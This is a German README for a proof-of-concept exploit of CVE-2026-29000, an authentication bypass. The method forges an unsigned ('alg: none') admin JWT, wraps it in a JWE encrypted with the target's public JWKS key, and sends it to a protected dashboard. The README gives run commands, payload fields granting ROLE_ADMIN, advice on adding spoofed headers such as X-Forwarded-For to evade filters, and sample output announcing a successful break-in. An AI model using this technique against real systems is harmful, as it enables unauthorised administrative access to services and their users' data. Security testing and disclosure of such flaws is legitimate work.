
PoC für CVE-2026-29000
Ein Proof-of-Concept-Skript (PoC), das eine Authentifizierungs-Bypass-Schwachstelle mithilfe von JSON Web Tokens (JWT) und JSON Web Encryption (JWE) demonstriert. Dieses Tool nutzt Umgebungen aus, die Token-Algorithmen nicht ordnungsgemäß validieren, indem es unverifizierte JWTs (alg: none) akzeptiert, die in eine gültige JWE-Struktur eingebettet sind.
Diese Exploit-Kette nutzt einen häufigen kryptografischen Implementierungsfehler aus:
jwks-Endpunkt (JSON Web Key Set) des Ziels und lädt den öffentlichen RSA-Schlüssel des Servers herunter.ROLE_ADMIN-Rechte gewährt. Dabei setzt es absichtlich den Algorithmus-Header auf "alg": "none".Authorization: Bearer-Header an das geschützte Dashboard des Ziels gesendet. Wenn der Server das JWE entschlüsselt und dem inneren JWT blind vertraut, ohne dessen Signatur zu überprüfen, wird der Zugriff gewährt.Stellen Sie vor der Ausführung des Skripts sicher, dass Python 3 sowie die erforderlichen Abhängigkeiten installiert sind.
pip install requests jwcrypto
Das Skript benötigt zwei Argumente: die URL des geschützten Dashboard-Endpunkts, den Sie testen möchten, und die URL, unter der die öffentlichen Schlüssel bereitgestellt werden.
python3 exploit.py <TARGET_URL_OF_PROTECTED_ENDPOINT> <JWKS_ENDPOINT_URL>
Abhängig von Ihrem Ziel müssen Sie möglicherweise die Token-Struktur oder die HTTP-Anfragen anpassen, um bestimmte Filter zu umgehen.
Wenn der Zielserver bestimmte Felder im JWT selbst erwartet (z. B. einen typ-Header oder benutzerdefinierte Benutzer-IDs in der Nutzlast), können Sie diese problemlos hinzufügen.
Öffnen Sie exploit.py und suchen Sie diesen Abschnitt:
token_header_information = {
"alg": "none"
}
token_user_information = {
"sub": "admin",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": current_time_in_seconds,
"exp": expiration_time_in_seconds
}
Sie können beliebige Felder hinzufügen, indem Sie sie mit Kommas trennen. Um beispielsweise einen typ (Typ) und eine kid (Key-ID) zum JWT-Header sowie eine benutzerdefinierte E-Mail zur Nutzlast hinzuzufügen:
token_header_information = {
"alg": "none",
"typ": "JWT",
"kid": "my-custom-key-id"
}
token_user_information = {
"sub": "admin",
"email": "[email protected]",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": current_time_in_seconds,
"exp": expiration_time_in_seconds
}
Wenn Ihr Ziel bestimmte Netzwerk-Header erfordert (wie einen benutzerdefinierten User-Agent, Bypass-Header wie X-Forwarded-For oder API-Schlüssel), suchen Sie die Netzwerkanfrage am Ende des Skripts:
custom_authorization_header = {
"Authorization": "Bearer " + final_forged_token
}
Fügen Sie Ihre zusätzlichen Netzwerk-Header wie folgt hinzu:
custom_authorization_header = {
"Authorization": "Bearer " + final_forged_token,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"X-Forwarded-For": "127.0.0.1",
"Accept": "application/json"
}
Hinweis: Wenn diese Header auch beim anfänglichen Herunterladen der öffentlichen Schlüssel gesendet werden müssen, können Sie dasselbe Dictionary an den requests.get()-Aufruf am Anfang des Skripts übergeben.
Im Erfolgsfall gibt das Skript das gefälschte Token und die geparste Antwort des geschützten Endpunkts aus, was den Bypass beweist:
Starting process...
Connecting to download public keys from: https://target-site.com/api/auth/jwks
Success! Downloaded the key with ID: 12345-abcde
Creating a fake administrator identity card...
Encrypting our fake identity using the server's public key...
Successfully created the encrypted master token!
Here is your forged token:
eyJhbGciOiJSU0EtT0FFUC...
Attempting to break into the dashboard...
Sending our forged token to: https://target-site.com/api/dashboard
SUCCESS! We bypassed the security.
The server thinks we are:
Username: admin
Account Type: ROLE_ADMIN
HTTP-401/403-Fehler: Der Zielserver validiert Signaturen ordnungsgemäß und lehnt die alg: none-Nutzlast ab. Der Exploit ist fehlgeschlagen, weil das Ziel sicher ist.
Verbindungsfehler: Stellen Sie sicher, dass die angegebenen URLs das vollständige Schema enthalten (http:// oder https://) und dass der Zielserver derzeit erreichbar ist.
Abhängigkeitsfehler: Stellen Sie sicher, dass jwcrypto ordnungsgemäß über pip installiert wurde.